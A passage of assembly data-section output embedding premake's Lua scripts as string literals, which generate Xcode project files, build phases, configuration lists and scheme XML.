sort)\nif #list > 0 then\nif sort ~= nil and sort == true then\ntable.sort(list)\nend\n_p(4,'%s = (', tag)\nfor _, item in ipairs(list) do\nlocal escaped_item = item:gsub(\"\\\"\", \"\\\\\\\\\\\\\\\"\"):gsub(\"'\", \"\\\\\\\\'\")\n_p(5, '\"%s\",', escaped_item)\nend\n_p(4,');')\nend\nend\nfunction xcode.quotestr(str)\nif str:match(\"[^a-zA-Z0-9$._/]\") == nil then\nreturn str\nend\nreturn \"\\\"\" .. str:gsub(\"[\\\"\\\\\\\"]\", \"\\\\%0\") .. \"\\\"\"\nend\nfunction xcode.Header(tr, objversion)\n_p('// !$*UTF8*$!')\n_p('{')\n_p(1,'archiveVersion = 1;')\n_p(1,'classes = {')\n_p(1,'};')\n_p(1,'objectVersion = %d;', objversion)\n_p(1,'objects = {')\n_p('')\nend\nfunction xcode.PBXBuildFile(tr)\nlocal function gatherCopyFiles(which)\nlocal copyfiles = {}\nlocal targets = tr.project[which]\nif #targets > 0 then\nfor _, t in ipairs(targets) do\nfor __, tt in ipairs(t) do\ntable.insertflat(copyfiles, tt[2])\nend\nend\nend\nreturn table.translate(copyfiles, path.getname)\nend\nlocal function gatherCopyFrameworks(which)\nlocal copyfiles = {}\nlocal targets = tr.project[which]\nif #targets > 0 then\ntable.insertflat(copyfiles, targets)\nend\nreturn table.translate(copyfiles, path.getname)\nend\nlocal copyfiles = table.flatten({\ngatherCopyFiles('xcodecopyresources'),\ngatherCopyFrameworks('xcodecopyframeworks')\n})\n_p('/* Begin PBXBuildFile section */')\ntree.traverse(tr, {\nonnode = function(node)\nif node.buildid then\n_p(2,'%s /* %s in %s */ = {isa = PBXBuildFile; fileRef = %s /* %s */; };',\nnode.buildid, node.name, xcode.getbuildcategory(node), node.id, node.name)\nend\nif table.icontains(copyfiles, node.name) then\n_p(2,'%s /* %s in %s */ = {isa = PBXBuildFile; fileRef = %s /* %s */; %s };',\nxcode.uuid(node.name .. 'in CopyFiles'), node.name, 'CopyFiles', node.id, node.name,\niif(xcode.isframework(node.name), \"settings = {ATTRIBUTES = (CodeSignOnCopy, ); };\", \"\")\n)\nend\nend\n})\n_p('/* End PBXBuildFile section */')\n_p('')\nend\nfunction xcode.PBXContainerItemProxy(tr)\nif #tr.projects.children > 0 then\n_p('/* Begin PBXContainerItemProxy section */')\nfor _, node in ipairs(tr.projects.children) do\n_p(2,'%s /* PBXContainerItemProxy */ = {', node.productproxyid)\n_p(3,'isa = PBXContainerItemProxy;')\n_p(3,'containerPortal = %s /* %s */;', node.id, path.getname(node.path))\n_p(3,'proxyType = 2;')\n_p(3,'remoteGlobalIDString = %s;', node.project.xcode.projectnode.id)\n_p(3,'remoteInfo = \"%s\";', node.project.xcode.projectnode.name)\n_p(2,'};')\n_p(2,'%s /* PBXContainerItemProxy */ = {', node.targetproxyid)\n_p(3,'isa = PBXContainerItemProxy;')\n_p(3,'containerPortal = %s /* %s */;', node.id, path.getname(node.path))\n_p(3,'proxyType = 1;')\n_p(3,'remoteGlobalIDString = %s;', node.project.xcode.projectnode.targetid)\n_p(3,'remoteInfo = \"%s\";', node.project.xcode.projectnode.name)\n_p(2,'};')\nend\n_p('/* End PBXContainerItemProxy section */')\n_p('')\nend\nend\nfunction xcode.PBXFileReference(tr,prj)\n_p('/* Begin PBXFileReference section */')\ntree.traverse(tr, {\nonleaf = function(node)\nif not node.path then\nreturn\nend\nif node.kind == \"product\" then\n_p(2,'%s /* %s */ = {isa = PBXFileReference; explicitFileType = %s; includeInIndex = 0; name = \"%s\"; path = \"%s\"; sourceTree = BUILT_PRODUCTS_DIR; };',\nnode.id, node.name, xcode.gettargettype(node), node.name, path.getname(node.cfg.buildtarget.bundlepath))\nelseif node.parent.parent == tr.projects then\nlocal relpath = path.getrelative(tr.project.location, node.parent.project.location)\n_p(2,'%s /* %s */ = {isa = PBXFileReference; lastKnownFileType = \"wrapper.pb-project\"; name = \"%s\"; path = \"%s\"; sourceTree = SOURCE_ROOT; };',\nnode.parent.id, node.parent.name, node.parent.name, path.join(relpath, node.parent.name))\nelse\nlocal pth, src\nif xcode.isframework(node.path) then\nlocal nodePath = node.path\nlocal _, matchEnd, variable = string.find(nodePath, \"^%$%((.+)%)/\")\nif variable then\nnodePath = string.sub(nodePath, matchEnd + 1)\nend\nif string.find(nodePath,'/') then\nif string.find(nodePath,'^%.')then\nnodePath = path.getabsolute(path.join(tr.project.location, nodePath))\nend\npth = nodePath\nelseif path.getextension(nodePath)=='.tbd' then\npth = \"/usr/lib/\" .. nodePath\nelse\npth = \"/System/Library/Frameworks/\" .. nodePath\nend\nif variable then\nsrc = variable\nif string.find(pth, '^/') then\npth = string.sub(pth, 2)\nend\nelse\nsrc = \"<absolute>\"\nend\nelse\nsrc = \"<group>\"\nif node.location then\npth = node.location\nelseif node.parent.isvpath then\npth = node.cfg.name\nelse\npth = tree.getlocalpath(node)\nend\nend\nif (not prj.options.ForceCPP) then\n_p(2,'%s /* %s */ = {isa = PBXFileReference; lastKnownFileType = %s; name = \"%s\"; path = \"%s\"; sourceTree = \"%s\"; };',\nnode.id, node.name, xcode.getfiletype(node), node.name, pth, src)\nelse\n_p(2,'%s /* %s */ = {isa = PBXFileReference; explicitFileType = %s; name = \"%s\"; path = \"%s\"; sourceTree = \"%s\"; };',\nnode.id, node.name, xcode.getfiletypeForced(node), node.name, pth, src)\nend\nend\nend\n})\n_p('/* End PBXFileReference section */')\n_p('')\nend\nfunction xcode.PBXFrameworksBuildPhase(tr)\n_p('/* Begin PBXFrameworksBuildPhase section */')\n_p(2,'%s /* Frameworks */ = {', tr.products.children[1].fxstageid)\n_p(3,'isa = PBXFrameworksBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'files = (')\ntree.traverse(tr.frameworks, {\nonleaf = function(node)\n_p(4,'%s /* %s in Frameworks */,', node.buildid, node.name)\nend\n})\ntree.traverse(tr.projects, {\nonleaf = function(node)\n_p(4,'%s /* %s in Frameworks */,', node.buildid, node.name)\nend\n})\n_p(3,');')\n_p(3,'runOnlyForDeploymentPostprocessing = 0;')\n_p(2,'};')\n_p('/* End PBXFrameworksBuildPhase section */')\n_p('')\nend\nfunction xcode.PBXGroup(tr)\n_p('/* Begin PBXGroup section */')\ntree.traverse(tr, {\nonnode = function(node)\nif (node.path and #node.children == 0) or node.kind == \"vgroup\" then\nreturn\nend\nif node.parent == tr.projects then\n_p(2,'%s /* Products */ = {', node.productgroupid)\nelse\n_p(2,'%s /* %s */ = {', node.id, node.name)\nend\n_p(3,'isa = PBXGroup;')\n_p(3,'children = (')\nfor _, childnode in ipairs(node.children) do\n_p(4,'%s /* %s */,', childnode.id, childnode.name)\nend\n_p(3,');')\nif node.parent == tr.projects then\n_p(3,'name = Products;')\nelse\n_p(3,'name = \"%s\";', node.name)\nif node.location then\n_p(3,'path = \"%s\";', node.location)\nelseif node.path and not node.isvpath then\nlocal p = node.path\nif node.parent.path then\np = path.getrelative(node.parent.path, node.path)\nend\n_p(3,'path = \"%s\";', p)\nend\nend\n_p(3,'sourceTree = \"<group>\";')\n_p(2,'};')\nend\n}, true)\n_p('/* End PBXGroup section */')\n_p('')\nend\nfunction xcode.PBXNativeTarget(tr)\n_p('/* Begin PBXNativeTarget section */')\nfor _, node in ipairs(tr.products.children) do\nlocal name = tr.project.name\nlocal function hasBuildCommands(which)\nif #tr.project[which] > 0 then\nreturn true\nend\nfor _, cfg in ipairs(tr.configs) do\nif #cfg[which] > 0 then\nreturn true\nend\nend\nend\nlocal function dobuildblock(id, label, which, action)\nif hasBuildCommands(which) then\nlocal commandcount = 0\nfor _, cfg in ipairs(tr.configs) do\ncommandcount = commandcount + #cfg[which]\nend\nif commandcount > 0 then\naction(id, label)\nend\nend\nend\nlocal function doscriptphases(which, action)\nlocal i = 0\nfor _, cfg in ipairs(tr.configs) do\nlocal cfgcmds = cfg[which]\nif cfgcmds ~= nil then\nfor __, scripts in ipairs(cfgcmds) do\nfor ___, script in ipairs(scripts) do\nlocal cmd = script[1]\nlocal label = xcode.getscriptphaselabel(cmd, i, cfg)\nlocal id = xcode.uuid(label)\naction(id, label)\ni = i + 1\nend\nend\nend\nend\nend\nlocal function docopyresources(which, action)\nif hasBuildCommands(which) then\nlocal targets = tr.project[which]\nif #targets > 0 then\nlocal i = 0\nfor _, t in ipairs(targets) do\nfor __, tt in ipairs(t) do\nlocal label = xcode.getcopyphaselabel('Resources', i, tt[1])\nlocal id = xcode.uuid(label)\naction(id, label)\ni = i + 1\nend\nend\nend\nend\nend\nlocal function docopyframeworks(which, action)\nif hasBuildCommands(which) then\nlocal targets = tr.project[which]\nif #targets > 0 then\nlocal label = \"Copy Frameworks\"\nlocal id = xcode.uuid(label)\naction(id, label)\nend\nend\nend\nlocal function _p_label(id, label)\n_p(4, '%s /* %s */,', id, label)\nend\n_p(2,'%s /* %s */ = {', node.targetid, name)\n_p(3,'isa = PBXNativeTarget;')\n_p(3,'buildConfigurationList = %s /* Build configuration list for PBXNativeTarget \"%s\" */;', node.cfgsection, name)\n_p(3,'buildPhases = (')\ndobuildblock('9607AE1010C857E500CD1376', 'Prebuild', 'prebuildcommands', _p_label)\n_p(4,'%s /* Resources */,', node.resstageid)\n_p(4,'%s /* Sources */,', node.sourcesid)\ndobuildblock('9607AE3510C85E7E00CD1376', 'Prelink', 'prelinkcommands', _p_label)\n_p(4,'%s /* Frameworks */,', node.fxstageid)\ndobuildblock('9607AE3710C85E8F00CD1376', 'Postbuild', 'postbuildcommands', _p_label)\ndoscriptphases(\"xcodescriptphases\", _p_label)\ndocopyresources(\"xcodecopyresources\", _p_label)\nif tr.project.kind == \"WindowedApp\" then\ndocopyframeworks(\"xcodecopyframeworks\", _p_label)\nend\n_p(3,');')\n_p(3,'buildRules = (')\n_p(3,');')\n_p(3,'dependencies = (')\nfor _, node in ipairs(tr.projects.children) do\n_p(4,'%s /* PBXTargetDependency */,', node.targetdependid)\nend\n_p(3,');')\n_p(3,'name = \"%s\";', name)\nlocal p\nif node.cfg.kind == \"ConsoleApp\" then\np = \"$(HOME)/bin\"\nelseif node.cfg.kind == \"WindowedApp\" then\np = \"$(HOME)/Applications\"\nend\nif p then\n_p(3,'productInstallPath = \"%s\";', p)\nend\n_p(3,'productName = \"%s\";', name)\n_p(3,'productReference = %s /* %s */;', node.id, node.name)\n_p(3,'productType = \"%s\";', xcode.getproducttype(node))\n_p(2,'};')\nend\n_p('/* End PBXNativeTarget section */')\n_p('')\nend\nfunction xcode.PBXProject(tr, compatVersion)\n_p('/* Begin PBXProject section */')\n_p(2,'__RootObject_ /* Project object */ = {')\n_p(3,'isa = PBXProject;')\n_p(3,'buildConfigurationList = 1DEB928908733DD80010E9CD /* Build configuration list for PBXProject \"%s\" */;', tr.name)\n_p(3,'compatibilityVersion = \"Xcode %s\";', compatVersion)\n_p(3,'hasScannedForEncodings = 1;')\n_p(3,'mainGroup = %s /* %s */;', tr.id, tr.name)\n_p(3,'projectDirPath = \"\";')\nif #tr.projects.children > 0 then\n_p(3,'projectReferences = (')\nfor _, node in ipairs(tr.projects.children) do\n_p(4,'{')\n_p(5,'ProductGroup = %s /* Products */;', node.productgroupid)\n_p(5,'ProjectRef = %s /* %s */;', node.id, path.getname(node.path))\n_p(4,'},')\nend\n_p(3,');')\nend\n_p(3,'projectRoot = \"\";')\n_p(3,'targets = (')\nfor _, node in ipairs(tr.products.children) do\n_p(4,'%s /* %s */,', node.targetid, node.name)\nend\n_p(3,');')\n_p(2,'};')\n_p('/* End PBXProject section */')\n_p('')\nend\nfunction xcode.PBXReferenceProxy(tr)\nif #tr.projects.children > 0 then\n_p('/* Begin PBXReferenceProxy section */')\ntree.traverse(tr.projects, {\nonleaf = function(node)\n_p(2,'%s /* %s */ = {', node.id, node.name)\n_p(3,'isa = PBXReferenceProxy;')\n_p(3,'fileType = %s;', xcode.gettargettype(node))\n_p(3,'path = \"%s\";', node.path)\n_p(3,'remoteRef = %s /* PBXContainerItemProxy */;', node.parent.productproxyid)\n_p(3,'sourceTree = BUILT_PRODUCTS_DIR;')\n_p(2,'};')\nend\n})\n_p('/* End PBXReferenceProxy section */')\n_p('')\nend\nend\nfunction xcode.PBXResourcesBuildPhase(tr)\n_p('/* Begin PBXResourcesBuildPhase section */')\nfor _, target in ipairs(tr.products.children) do\n_p(2,'%s /* Resources */ = {', target.resstageid)\n_p(3,'isa = PBXResourcesBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'files = (')\ntree.traverse(tr, {\nonnode = function(node)\nif xcode.getbuildcategory(node) == \"Resources\" then\n_p(4,'%s /* %s in Resources */,', node.buildid, node.name)\nend\nend\n})\n_p(3,');')\n_p(3,'runOnlyForDeploymentPostprocessing = 0;')\n_p(2,'};')\nend\n_p('/* End PBXResourcesBuildPhase section */')\n_p('')\nend\nfunction xcode.PBXShellScriptBuildPhase(tr)\nlocal wrapperWritten = false\nlocal function doblock(id, name, commands, files)\nif commands ~= nil then\ncommands = table.flatten(commands)\nend\nif #commands > 0 then\nif not wrapperWritten then\n_p('/* Begin PBXShellScriptBuildPhase section */')\nwrapperWritten = true\nend\n_p(2,'%s /* %s */ = {', id, name)\n_p(3,'isa = PBXShellScriptBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'files = (')\n_p(3,');')\n_p(3,'inputPaths = (');\nif files ~= nil then\nfiles = table.flatten(files)\nif #files > 0 then\nfor _, file in ipairs(files) do\n_p(4, '\"%s\",', file)\nend\nend\nend\n_p(3,');');\n_p(3,'name = %s;', name);\n_p(3,'outputPaths = (');\n_p(3,');');\n_p(3,'runOnlyForDeploymentPostprocessing = 0;');\n_p(3,'shellPath = /bin/sh;');\n_p(3,'shellScript = \"%s\";', table.concat(commands, \"\\\\n\"):gsub('\"', '\\\\\"'))\n_p(2,'};')\nend\nend\nlocal function wrapcommands(cmds, cfg)\nlocal commands = {}\nif #cmds > 0 then\ntable.insert(commands, 'if [ \"${CONFIGURATION}\" = \"' .. xcode.getconfigname(cfg) .. '\" ]; then')\nfor i = 1, #cmds do\nlocal cmd = cmds[i]\ncmd = cmd:gsub('\\\\','\\\\\\\\')\ntable.insert(commands, cmd)\nend\ntable.insert(commands, 'fi')\nend\nreturn commands\nend\nlocal function dobuildblock(id, name, which)\nlocal commands = {}\nfor _, cfg in ipairs(tr.configs) do\nlocal cfgcmds = wrapcommands(cfg[which], cfg)\nif #cfgcmds > 0 then\nfor i, cmd in ipairs(cfgcmds) do\ntable.insert(commands, cmd)\nend\nend\nend\ndoblock(id, name, commands)\nend\nlocal function doscriptphases(which)\nlocal i = 0\nfor _, cfg in ipairs(tr.configs) do\nlocal cfgcmds = cfg[which]\nif cfgcmds ~= nil then\nfor __, scripts in ipairs(cfgcmds) do\nfor ___, script in ipairs(scripts) do\nlocal cmd = script[1]\nlocal files = script[2]\nlocal label = xcode.getscriptphaselabel(cmd, i, cfg)\nlocal id = xcode.uuid(label)\ndoblock(id, label, wrapcommands({cmd}, cfg), files)\ni = i + 1\nend\nend\nend\nend\nend\ndobuildblock(\"9607AE1010C857E500CD1376\", \"Prebuild\", \"prebuildcommands\")\ndobuildblock(\"9607AE3510C85E7E00CD1376\", \"Prelink\", \"prelinkcommands\")\ndobuildblock(\"9607AE3710C85E8F00CD1376\", \"Postbuild\", \"postbuildcommands\")\ndoscriptphases(\"xcodescriptphases\")\nif wrapperWritten then\n_p('/* End PBXShellScriptBuildPhase section */')\nend\nend\nfunction xcode.PBXSourcesBuildPhase(tr,prj)\n_p('/* Begin PBXSourcesBuildPhase section */')\nfor _, target in ipairs(tr.products.children) do\n_p(2,'%s /* Sources */ = {', target.sourcesid)\n_p(3,'isa = PBXSourcesBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'files = (')\ntree.traverse(tr, {\nonleaf = function(node)\nif xcode.getbuildcategory(node) == \"Sources\" then\nif not table.icontains(prj.excludes, node.cfg.name) then -- if not excluded\n_p(4,'%s /* %s in Sources */,', node.buildid, node.name)\nend\nend\nend\n})\n_p(3,');')\n_p(3,'runOnlyForDeploymentPostprocessing = 0;')\n_p(2,'};')\nend\n_p('/* End PBXSourcesBuildPhase section */')\n_p('')\nend\nfunction xcode.PBXCopyFilesBuildPhase(tr)\nlocal wrapperWritten = false\nlocal function doblock(id, name, folderSpec, path, files)\nif #files > 0 then\nif not wrapperWritten then\n_p('/* Begin PBXCopyFilesBuildPhase section */')\nwrapperWritten = true\nend\n_p(2,'%s /* %s */ = {', id, name)\n_p(3,'isa = PBXCopyFilesBuildPhase;')\n_p(3,'buildActionMask = 2147483647;')\n_p(3,'dstPath = \\\"%s\\\";', path)\n_p(3,'dstSubfolderSpec = \\\"%s\\\";', folderSpec)\n_p(3,'files = (')\ntree.traverse(tr, {\nonleaf = function(node)\nif table.icontains(files, node.name) then\n_p(4,'%s /* %s in %s */,',\nxcode.uuid(node.name .. 'in CopyFiles'), node.name, 'CopyFiles')\nend\nend\n})\n_p(3,');')\n_p(3,'runOnlyForDeploymentPostprocessing = 0;');\n_p(2,'};')\nend\nend\nlocal function docopyresources(which)\nlocal targets = tr.project[which]\nif #targets > 0 then\nlocal i = 0\nfor _, t in ipairs(targets) do\nfor __, tt in ipairs(t) do\nlocal label = xcode.getcopyphaselabel('Resources', i, tt[1])\nlocal id = xcode.uuid(label)\nlocal files = table.translate(table.flatten(tt[2]), path.getname)\ndoblock(id, label, 7, tt[1], files)\ni = i + 1\nend\nend\nend\nend\nlocal function docopyframeworks(which)\nlocal targets = tr.project[which]\nif #targets > 0 then\nlocal label = \"Copy Frameworks\"\nlocal id = xcode.uuid(label)\nlocal files = table.translate(table.flatten(targets), path.getname)\ndoblock(id, label, 10, \"\", files)\nend\nend\ndocopyresources(\"xcodecopyresources\")\nif tr.project.kind == \"WindowedApp\" then\ndocopyframeworks(\"xcodecopyframeworks\")\nend\nif wrapperWritten then\n_p('/* End PBXCopyFilesBuildPhase section */')\nend\nend\nfunction xcode.PBXVariantGroup(tr)\n_p('/* Begin PBXVariantGroup section */')\ntree.traverse(tr, {\nonbranch = function(node)\nif node.kind == \"vgroup\" then\n_p(2,'%s /* %s */ = {', node.id, node.name)\n_p(3,'isa = PBXVariantGroup;')\n_p(3,'children = (')\nfor _, lang in ipairs(node.children) do\n_p(4,'%s /* %s */,', lang.id, lang.name)\nend\n_p(3,');')\n_p(3,'name = %s;', node.name)\n_p(3,'sourceTree = \"<group>\";')\n_p(2,'};')\nend\nend\n})\n_p('/* End PBXVariantGroup section */')\n_p('')\nend\nfunction xcode.PBXTargetDependency(tr)\nif #tr.projects.children > 0 then\n_p('/* Begin PBXTargetDependency section */')\ntree.traverse(tr.projects, {\nonleaf = function(node)\n_p(2,'%s /* PBXTargetDependency */ = {', node.parent.targetdependid)\n_p(3,'isa = PBXTargetDependency;')\n_p(3,'name = \"%s\";', node.name)\n_p(3,'targetProxy = %s /* PBXContainerItemProxy */;', node.parent.targetproxyid)\n_p(2,'};')\nend\n})\n_p('/* End PBXTargetDependency section */')\n_p('')\nend\nend\nfunction xcode.cfg_excluded_files(prj, cfg)\nlocal excluded = {}\nlocal function exclude_pattern(file)\nif path.isabsolute(file) then\nreturn file\nend\nlocal start, term = file:findlast(\"/%.%./\")\nif term then\nreturn path.join(\"*\", file:sub(term + 1))\nend\nstart, term = file:find(\"%.%./\")\nif start == 1 then\nreturn path.join(\"*\", file:sub(term + 1))\nend\nreturn path.join(\"*\", file)\nend\nlocal function add_file(file)\nlocal name = exclude_pattern(file)\nif not table.icontains(excluded, name) then\ntable.insert(excluded, name)\nend\nend\nlocal function verify_file(file)\nlocal name = exclude_pattern(file)\nif table.icontains(excluded, name) then\nerror(\"'\" .. file .. \"' would be excluded by the rule to exclude '\" .. name .. \"'\")\nend\nend\nfor _, file in ipairs(cfg.excludes) do\nadd_file(file)\nend\nfor _, file in ipairs(prj.allfiles) do\nif not table.icontains(prj.excludes, file) and not table.icontains(cfg.excludes, file) then\nif not table.icontains(cfg.files, file) then\nadd_file(file)\nelse\nverify_file(file)\nend\nend\nend\ntable.sort(excluded)\nreturn excluded\nend\nfunction xcode.XCBuildConfiguration_Impl(tr, id, opts, cfg)\nlocal cfgname = xcode.getconfigname(cfg)\n_p(2,'%s /* %s */ = {', id, cfgname)\n_p(3,'isa = XCBuildConfiguration;')\n_p(3,'buildSettings = {')\nfor k, v in table.sortedpairs(opts) do\nif type(v) == \"table\" then\nif #v > 0 then\n_p(4,'%s = (', k)\nfor i, v2 in ipairs(v) do\n_p(5,'%s,', xcode.quotestr(tostring(v2)))\nend\n_p(4,');')\nend\nelse\n_p(4,'%s = %s;', k, xcode.quotestr(tostring(v)))\nend\nend\n_p(3,'};')\n_p(3,'name = %s;', xcode.quotestr(cfgname))\n_p(2,'};')\nend\nlocal function add_options(options, extras)\nfor _, tbl in ipairs(extras) do\nfor tkey, tval in pairs(tbl) do\noptions[tkey] = tval\nend\nend\nend\nlocal function add_wholearchive_links(opts, cfg)\nif #cfg.wholearchive > 0 then\nlocal linkopts = {}\nfor _, depcfg in ipairs(premake.getlinks(cfg, \"siblings\", \"object\")) do\nif table.icontains(cfg.wholearchive, depcfg.project.name) then\nlocal linkpath = path.rebase(depcfg.linktarget.fullpath, depcfg.location, cfg.location)\ntable.insert(linkopts, \"-force_load\")\ntable.insert(linkopts, linkpath)\nend\nend\nif opts.OTHER_LDFLAGS then\nlinkopts = table.join(linkopts, opts.OTHER_LDFLAGS)\nend\nopts.OTHER_LDFLAGS = linkopts\nend\nend\nfunction xcode.XCBuildConfiguration(tr, prj, opts)\n_p('/* Begin XCBuildConfiguration section */')\nfor _, target in ipairs(tr.products.children) do\nfor _, cfg in ipairs(tr.configs) do\nlocal values = opts.ontarget(tr, target, cfg)\nadd_options(values, cfg.xcodetargetopts)\nxcode.XCBuildConfiguration_Impl(tr, cfg.xcode.targetid, values, cfg)\nend\nend\nfor _, cfg in ipairs(tr.configs) do\nlocal values = opts.onproject(tr, prj, cfg)\nadd_options(values, cfg.xcodeprojectopts)\nadd_wholearchive_links(values, cfg)\nxcode.XCBuildConfiguration_Impl(tr, cfg.xcode.projectid, values, cfg)\nend\n_p('/* End XCBuildConfiguration section */')\n_p('')\nend\nfunction xcode.XCBuildConfigurationList(tr)\nlocal sln = tr.project.solution\n_p('/* Begin XCConfigurationList section */')\nfor _, target in ipairs(tr.products.children) do\n_p(2,'%s /* Build configuration list for PBXNativeTarget \"%s\" */ = {', target.cfgsection, target.name)\n_p(3,'isa = XCConfigurationList;')\n_p(3,'buildConfigurations = (')\nfor _, cfg in ipairs(tr.configs) do\n_p(4,'%s /* %s */,', cfg.xcode.targetid, xcode.getconfigname(cfg))\nend\n_p(3,');')\n_p(3,'defaultConfigurationIsVisible = 0;')\n_p(3,'defaultConfigurationName = \"%s\";', xcode.getconfigname(tr.configs[1]))\n_p(2,'};')\nend\n_p(2,'1DEB928908733DD80010E9CD /* Build configuration list for PBXProject \"%s\" */ = {', tr.name)\n_p(3,'isa = XCConfigurationList;')\n_p(3,'buildConfigurations = (')\nfor _, cfg in ipairs(tr.configs) do\n_p(4,'%s /* %s */,', cfg.xcode.projectid, xcode.getconfigname(cfg))\nend\n_p(3,');')\n_p(3,'defaultConfigurationIsVisible = 0;')\n_p(3,'defaultConfigurationName = \"%s\";', xcode.getconfigname(tr.configs[1]))\n_p(2,'};')\n_p('/* End XCConfigurationList section */')\n_p('')\nend\nfunction xcode.Footer()\n_p(1,'};')\n_p('\\trootObject = __RootObject_ /* Project object */;')\n_p('}')\nend\n"
L_.str.51: ## @.str.51
.asciz "local xcode = premake.xcode\nlocal tree = premake.tree\nfunction xcode.buildprjtree(prj)\nlocal tr = premake.project.buildsourcetree(prj, true)\ntr.configs = {}\nfor _, cfgname in ipairs(prj.solution.configurations) do\nfor _, platform in ipairs(prj.solution.xcode.platforms) do\nlocal cfg = premake.getconfig(prj, cfgname, platform)\ncfg.xcode = {}\ncfg.xcode.targetid = xcode.newid(prj.xcode.projectnode, \"tgt:\"..platform..cfgname)\ncfg.xcode.projectid = xcode.newid(tr, \"prj:\"..platform..cfgname)\ntable.insert(tr.configs, cfg)\nend\nend\ntree.traverse(tr, {\nonbranch = function(node)\nif path.getextension(node.name) == \".lproj\" then\nlocal lang = path.getbasename(node.name) -- \"English\", \"French\", etc.\nfor _, filenode in ipairs(node.children) do\nlocal grpnode = node.parent.children[filenode.name]\nif not grpnode then\ngrpnode = tree.insert(node.parent, tree.new(filenode.name))\ngrpnode.kind = \"vgroup\"\nend\nfilenode.name = path.getbasename(lang)\ntree.insert(grpnode, filenode)\nend\ntree.remove(node)\nend\nend\n})\ntree.traverse(tr, {\nonbranch = function(node)\nif path.getextension(node.name) == \".xcassets\" then\nnode.children = {}\nend\nend\n})\ntr.frameworks = tree.new(\"Frameworks\")\nfor cfg in premake.eachconfig(prj) do\nfor _, link in ipairs(premake.getlinks(cfg, \"system\", \"fullpath\")) do\nlocal name = path.getname(link)\nif xcode.isframework(name) and not tr.frameworks.children[name] then\nnode = tree.insert(tr.frameworks, tree.new(name))\nnode.path = link\nend\nend\nend\nif #tr.frameworks.children > 0 then\ntree.insert(tr, tr.frameworks)\nend\ntr.products = tree.insert(tr, tree.new(\"Products\"))\ntr.projects = tree.new(\"Projects\")\nfor _, dep in ipairs(premake.getdependencies(prj, \"sibling\", \"object\")) do\nlocal xcpath = xcode.getxcodeprojname(dep)\nlocal xcnode = tree.insert(tr.projects, tree.new(path.getname(xcpath)))\nxcnode.path = xcpath\nxcnode.project = dep\nxcnode.productgroupid = xcode.newid(xcnode, \"prodgrp\")\nxcnode.productproxyid = xcode.newid(xcnode, \"prodprox\")\nxcnode.targetproxyid = xcode.newid(xcnode, \"targprox\")\nxcnode.targetdependid = xcode.newid(xcnode, \"targdep\")\nlocal cfg = premake.getconfig(dep, prj.configurations[1])\nnode = tree.insert(xcnode, tree.new(cfg.linktarget.name))\nnode.path = cfg.linktarget.fullpath\nnode.cfg = cfg\nend\nif #tr.projects.children > 0 then\ntree.insert(tr, tr.projects)\nend\ntree.traverse(tr, {\nonbranchexit = function(node)\nfor _, child in ipairs(node.children) do\nif (child.location) then\nif (node.location) then\nwhile (not string.startswith(child.location, node.location)) do\nnode.location = path.getdirectory(node.location)\nend\nelse\nnode.location = path.getdirectory(child.location)\nend\nend\nend\nend,\nonleaf = function(node)\nif (node.cfg) then\nnode.location = node.cfg.name\nend\nend\n}, true)\ntree.traverse(tr, {\nonbranchexit = function(node, depth)\nif (node.location and node.parent and node.parent.location) then\nnode.location = path.getrelative(node.parent.location, node.location)\nend\nend,\nonleaf = function(node, depth)\nif (node.location and node.parent and node.parent.location) then\nnode.location = path.getrelative(node.parent.location, node.location)\nend\nend\n}, true)\ntree.traverse(tr, {\nonnode = function(node)\nnode.id = xcode.newid(node)\nif xcode.getbuildcategory(node) then\nnode.buildid = xcode.newid(node, \"build\")\nend\nif string.endswith(node.name, \"Info.plist\") then\ntr.infoplist = node\nend\nif string.endswith(node.name, \".entitlements\") then\ntr.entitlements = node\nend\nend\n}, true)\nnode = tree.insert(tr.products, prj.xcode.projectnode)\nnode.kind = \"product\"\nnode.path = node.cfg.buildtarget.fullpath\nnode.cfgsection = xcode.newid(node, \"cfg\")\nnode.resstageid = xcode.newid(node, \"rez\")\nnode.sourcesid = xcode.newid(node, \"src\")\nnode.fxstageid = xcode.newid(node, \"fxs\")\nreturn tr\nend\n"
L_.str.52: ## @.str.52
.asciz "local premake = premake\nlocal xcode = premake.xcode\nlocal function buildableref(indent, prj, cfg)\ncfg = cfg or premake.eachconfig(prj)()\n_p(indent + 0, '<BuildableReference')\n_p(indent + 1, 'BuildableIdentifier = \"primary\"')\n_p(indent + 1, 'BlueprintIdentifier = \"%s\"', prj.xcode.projectnode.targetid)\n_p(indent + 1, 'BuildableName = \"%s\"', cfg.buildtarget.name)\n_p(indent + 1, 'BlueprintName = \"%s\"', prj.name)\n_p(indent + 1, 'ReferencedContainer = \"container:%s.xcodeproj\">', prj.name)\n_p(indent + 0, '</BuildableReference>')\nend\nlocal function cmdlineargs(indent, cfg)\nif #cfg.debugargs > 0 then\n_p(indent, '<CommandLineArguments>')\nfor _, arg in ipairs(cfg.debugargs) do\n_p(indent + 1, '<CommandLineArgument')\n_p(indent + 2, 'argument = \"%s\"', arg)\n_p(indent + 2, 'isEnabled = \"YES\">')\n_p(indent + 1, '</CommandLineArgument>')\nend\n_p(indent, '</CommandLineArguments>')\nend\nend\nlocal function envvars(indent, cfg)\nif #cfg.debugenvs > 0 then\n_p(indent, '<EnvironmentVariables>')\nfor _, arg in ipairs(cfg.debugenvs) do\nlocal eq = arg:find(\"=\")\nlocal k = arg:sub(1, eq)\nlocal v = arg:sub(eq + 1)\n_p(indent + 1, '<EnvironmentVariable')\n_p(indent + 2, 'key = \"%s\"', arg:sub(1, eq))\n_p(indent + 2, 'value = \"%s\"', arg:sub(eq))\n_p(indent + 2, 'isEnabled = \"YES\">')\n_p(indent + 1, '</EnvironmentVariable>')\nend\n_p(indent, '</EnvironmentVariables>')\nend\nend\nlocal function workingdir(dir)\nif not path.isabsolute(dir) then\ndir = \"$PROJECT_DIR/\" .. dir\nend\nreturn dir\nend\nlocal function bestconfig(prj, fordebug)\nlocal bestcfg = nil\nlocal bestscore = -1\nfor cfg in premake.eachconfig(prj) do\nlocal score = 0\nif cfg.platform == \"Native\" then\nscore = score + 10\nend\nif fordebug and cfg.name == \"Debug\" then\nscore = score + 1\nend\nif not fordebug and cfg.name == \"Release\" then\nscore = score + 1\nend\nif score > bestscore then\nbestcfg = cfg\nbestscore = score\nend\nend\nreturn bestcfg\nend\nfunction xcode.scheme(tobuild, primary, 